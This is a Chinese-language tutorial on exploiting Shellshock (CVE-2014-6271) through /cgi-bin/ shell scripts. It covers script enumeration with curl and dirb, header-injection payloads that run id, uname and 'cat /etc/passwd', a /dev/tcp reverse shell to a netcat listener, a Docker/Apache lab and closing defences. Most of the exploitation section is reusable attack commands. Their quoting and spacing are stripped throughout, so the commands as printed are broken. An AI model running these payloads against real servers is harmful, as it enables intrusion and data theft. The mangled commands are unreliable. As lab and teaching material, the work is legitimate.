Shellshock破壳漏洞是2014年曝光的高危代码执行漏洞核心影响GNU Bash环境变量解析逻辑其中最典型的利用场景是Web服务器的/cgi-bin/目录下的Shell脚本。本文将详细拆解漏洞成因、针对/cgi-bin/目录的利用技巧并提供从环境搭建到漏洞检测、命令注入的完整复现步骤帮助全面掌握该漏洞的核心原理与实操方法。一、Shellshock漏洞基础信息1.1 漏洞核心概况漏洞编号核心漏洞CVE-2014-6271后续补充/绕过漏洞CVE-2014-7169、CVE-2014-7186等影响版本GNU Bash 1.14 ~ 4.3 之间的所有版本该区间内默认存在解析缺陷漏洞类型环境变量解析命令注入高危代码执行漏洞CVSS评分9.8核心影响场景依赖Bash解析环境变量的服务其中最易利用、最常见的是Web服务器如Apache的/cgi-bin/目录下的Shell脚本.sh、.cgi后缀而.py、.php、.pl、.rb等脚本因不依赖Bash解析环境变量一般不存在该漏洞。1.2 漏洞成因核心解析Shellshock的本质是GNU Bash对环境变量的解析存在逻辑边界缺陷简单来说就是Bash在解析包含函数定义的环境变量时会错误执行函数定义之后附加的任意系统命令具体拆解为两个关键逻辑正常逻辑Bash允许在环境变量中定义Shell函数格式为变量名() { 函数体; }。当Bash启动时会自动解析这类环境变量将其注册为可执行的Shell函数仅执行函数体内部的逻辑不会解析函数体之外的内容。漏洞逻辑有漏洞的Bash版本1.14~4.3在解析上述函数格式的环境变量时没有正确终止函数定义的边界。只要在() { 函数体; }之后添加分号;分隔再附加任意系统命令Bash会将这些附加命令当作合法系统命令直接执行而非当作环境变量的普通字符串。举个本地直观验证示例需在有漏洞的Bash环境中执行# 1. 定义一个包含函数定义附加命令的环境变量exportTEST() { :; }; echo Shellshock漏洞存在附加命令被执行# 说明() { :; } 是一个空函数: 表示空操作不执行任何逻辑后面的; echo ... 是附加的命令# 2. 启动新的Bash进程触发环境变量解析bash# 3. 执行结果会直接输出Shellshock漏洞存在附加命令被执行# 正常情况下应仅注册空函数不输出任何内容此处证明附加命令被错误执行二、Shellshock漏洞利用聚焦/cgi-bin/目录漏洞利用的核心前提目标Web服务器存在/cgi-bin/目录且该目录下有可访问的Shell脚本.sh、.cgi后缀同时服务器调用该脚本时使用了有漏洞的Bash版本。利用流程分为三步爆破目标脚本 → 检测漏洞存在 → 执行注入命令获取信息/权限。2.1 第一步爆破/cgi-bin/目录下的目标脚本2.1.1 爆破核心逻辑Web服务器的/cgi-bin/目录是默认的CGI程序存放目录CGI程序的核心是通过Web服务器调用外部程序此处为Shell脚本并返回结果。我们需要通过爆破找到该目录下存在的、可访问的Shell脚本优先级.sh .cgi作为后续漏洞检测和利用的目标。注意.py、.php、.pl、.rb等后缀的脚本不依赖Bash解析无需爆破一般不存在该漏洞。2.1.2 两种爆破方式实操可直接复用方式1手动枚举简单场景适合少量测试通过curl命令发送HEAD请求-I参数判断脚本是否存在状态码200 OK表示存在且可访问404 Not Found表示不存在常用命令示例# 枚举常见的.sh后缀脚本curl-I http://target.com/cgi-bin/test.shcurl-I http://target.com/cgi-bin/condor.sh# 示例中的目标脚本curl-I http://target.com/cgi-bin/index.shcurl-I http://target.com/cgi-bin/hello.sh# 枚举常见的.cgi后缀脚本curl-I http://target.com/cgi-bin/test.cgicurl-I http://target.com/cgi-bin/index.cgicurl-I http://target.com/cgi-bin/login.cgi方式2工具爆破高效场景适合批量枚举推荐dirbdirb是一款常用的Web目录/文件爆破工具操作简单、效率高步骤如下# 1. 安装dirbDebian/Ubuntu系统其他系统可自行适配aptupdateaptinstalldirb -y# 2. 创建自定义爆破字典仅包含目标后缀减少无效爆破# 新建字典文件shellshock_dict.txt内容如下可自行补充常见脚本名catshellshock_dict.txtEOF test.sh condor.sh index.sh hello.sh test.cgi index.cgi login.cgi EOF# 3. 执行爆破指定目标URL和字典文件dirb http://target.com/cgi-bin/ shellshock_dict.txt# 爆破结果解读显示200 OK的条目即为存在且可访问的Shell脚本2.2 第二步检测目标脚本是否存在Shellshock漏洞2.2.1 核心检测原理Web服务器在调用/cgi-bin/下的Shell脚本时会将HTTP请求头如User-Agent、Referer、Cookie等转换为以HTTP_开头的环境变量例如User-Agent请求头会转换为HTTP_USER_AGENT环境变量并传递给Bash解析。利用这一特性我们在HTTP请求头中注入“函数定义检测命令”若目标存在漏洞Bash会解析该环境变量并执行附加的检测命令返回检测结果。2.2.2 实操检测命令验证有效可直接复用推荐使用curl命令发送请求以下是核心检测命令对应示例中的condor.sh脚本同时补充多种请求头方式避免部分环境过滤User-Agent# 核心检测命令使用User-Agent请求头示例中的命令验证有效curl-A() { :; }; echo; echo; /bin/bash -c echo shellshock-test-successhttp://target.com/cgi-bin/condor.sh# 命令拆解# -A设置User-Agent请求头注入漏洞利用代码# () { :; }; 空函数定义触发Bash的函数解析逻辑# echo; echo; 输出两个空行分隔脚本正常输出和注入命令的输出方便查看结果# /bin/bash -c echo shellshock-test-success 注入的检测命令执行后输出指定字符串验证漏洞存在# 补充其他请求头检测避免User-Agent被过滤# 1. 使用Referer请求头curl-HReferer: () { :; }; echo; echo; /bin/bash -c echo shellshock-test-successhttp://target.com/cgi-bin/condor.sh# 2. 使用Cookie请求头curl-HCookie: test() { :; }; echo; echo; /bin/bash -c echo shellshock-test-successhttp://target.com/cgi-bin/condor.sh2.2.3 检测结果判断漏洞存在curl响应结果中会出现shellshock-test-success字符串说明注入的检测命令被成功执行同时会有两个空行分隔脚本正常输出和检测结果。漏洞不存在仅返回目标Shell脚本的正常输出如脚本本身的执行结果不会出现上述检测字符串说明Bash版本安全或脚本不是Shell脚本。2.3 第三步漏洞利用注入命令获取实际权限/信息若检测到漏洞存在可将检测命令替换为实际的攻击命令实现信息泄露、权限获取等操作以下命令均基于curl请求头注入可直接替换检测命令中的注入部分。2.3.1 基础利用获取目标服务器信息# 1. 查看服务器系统信息内核版本、操作系统类型curl-A() { :; }; echo; echo; /bin/bash -c uname -ahttp://target.com/cgi-bin/condor.sh# 2. 查看当前执行脚本的用户权限一般为www-data低权限curl-A() { :; }; echo; echo; /bin/bash -c idhttp://target.com/cgi-bin/condor.sh# 3. 查看/etc/passwd文件用户列表敏感信息curl-A() { :; }; echo; echo; /bin/bash -c cat /etc/passwdhttp://target.com/cgi-bin/condor.sh# 4. 查看当前目录下的文件了解目标脚本所在目录的其他文件curl-A() { :; }; echo; echo; /bin/bash -c ls -lhttp://target.com/cgi-bin/condor.sh2.3.2 进阶利用反弹Shell获取交互式权限反弹Shell是最实用的利用方式可获取目标服务器的交互式Shell进一步执行任意命令需攻击者拥有公网服务器用于监听反弹连接。# 步骤1攻击者公网服务器上监听端口假设公网IP192.168.1.100监听端口8888nc-lvvp8888# 监听8888端口等待目标反弹连接# 步骤2目标服务器注入反弹Shell命令替换为公网IP和监听端口curl-A() { :; }; echo; echo; /bin/bash -c bash -i /dev/tcp/192.168.1.100/8888 01http://target.com/cgi-bin/condor.sh# 反弹成功攻击者公网服务器的nc监听窗口会出现交互式Shell可直接执行命令如whoami、pwd等三、Shellshock漏洞复现环境本节将搭建存在Shellshock漏洞的测试环境Apache 有漏洞的Bash /cgi-bin/Shell脚本完整复现“爆破→检测→利用”的全流程确保每一步都可实操、可验证。3.1 复现环境准备攻击机Kali Linux自带curl、dirb、nc工具无需额外安装目标机Ubuntu 14.04默认搭载GNU Bash 4.3.11存在Shellshock漏洞默认搭载Apache服务器自带/cgi-bin/目录网络要求攻击机与目标机可互通同一局域网或目标机可访问公网3.2 目标机环境搭建Docker 镜像:# 1. 拉取Docker官方漏洞镜像ubuntu:14.04官方原生镜像 docker pull ubuntu:14.04 # 2. 启动容器挂载本地目录方便后续操作同时保留交互终端 docker run -it -v /本地目录:/root/share --name shellshock-test ubuntu:14.04 /bin/bash # 3. 进入容器后快速验证Shellshock漏洞核心命令与本文1.2节本地验证一致 export TEST() { :; }; echo Shellshock漏洞存在Docker镜像验证成功 bash # 启动新的Bash进程触发漏洞 # 验证结果直接输出上述字符串说明漏洞存在镜像可用 # 补充其他镜像的快速验证替换镜像名即可 # centos:6 镜像拉取与验证 docker pull centos:6 docker run -it --name shellshock-centos centos:6 /bin/bash export TEST() { :; }; echo CentOS 6 镜像漏洞验证成功 bash # 输出字符串即验证成功 # debian:8 镜像拉取与验证 docker pull debian:8 docker run -it --name shellshock-debian debian:8 /bin/bash export TEST() { :; }; echo Debian 8 镜像漏洞验证成功 bash # 输出字符串即验证成功配置命令# 1. 检查Bash版本确认存在漏洞bash--version# 输出版本为4.3.11属于漏洞影响范围# 2. 安装Apache服务器自带/cgi-bin/目录aptupdateaptinstallapache2 -y# 3. 启动Apache服务确认服务正常运行serviceapache2 startpsaux|grepapache2# 查看进程确认启动成功# 4. 在/cgi-bin/目录下创建测试Shell脚本condor.sh示例中的目标脚本cd/usr/lib/cgi-bin/# Apache默认的/cgi-bin/目录路径vimcondor.sh# 新建脚本写入以下内容# 脚本内容简单的Shell脚本输出当前时间用于验证脚本可正常执行#!/bin/bashechoContent-Type: text/plainechoechoCurrent Time:$(date)# 5. 给脚本添加可执行权限必须否则Apache无法调用chmodx condor.sh# 6. 验证脚本可正常访问目标机本地访问或攻击机访问curlhttp://目标机IP/cgi-bin/condor.sh# 正常返回Current Time: 具体时间说明脚本可访问、可执行四、漏洞防御措施针对Shellshock漏洞核心防御思路是修复Bash解析缺陷同时限制/cgi-bin/目录的风险具体措施如下升级GNU Bash版本将Bash升级至4.3.25及以上版本修复了环境变量解析边界缺陷。限制/cgi-bin/目录权限仅允许必要的IP访问/cgi-bin/目录禁止公网批量访问删除目录下无用的Shell脚本仅保留必要的脚本。替换风险脚本将/cgi-bin/目录下的.sh、.cgi后缀Shell脚本替换为不依赖Bash的脚本如Python脚本从根源上避免漏洞触发。过滤HTTP请求头配置Web服务器如Apache过滤HTTP请求头User-Agent、Referer、Cookie等中的特殊字符如()、{}、;等阻止漏洞利用代码注入。五、总结Shellshock漏洞的核心是Bash环境变量解析的逻辑缺陷其利用的关键场景是Web服务器的/cgi-bin/目录下的Shell脚本.sh、.cgi后缀而.py、.php等脚本无此风险。完整利用流程为“爆破目标脚本→检测漏洞存在→注入命令利用”复现过程中需注意目标机环境搭建的细节如脚本可执行权限、Apache服务正常运行以及攻击机与目标机的网络互通。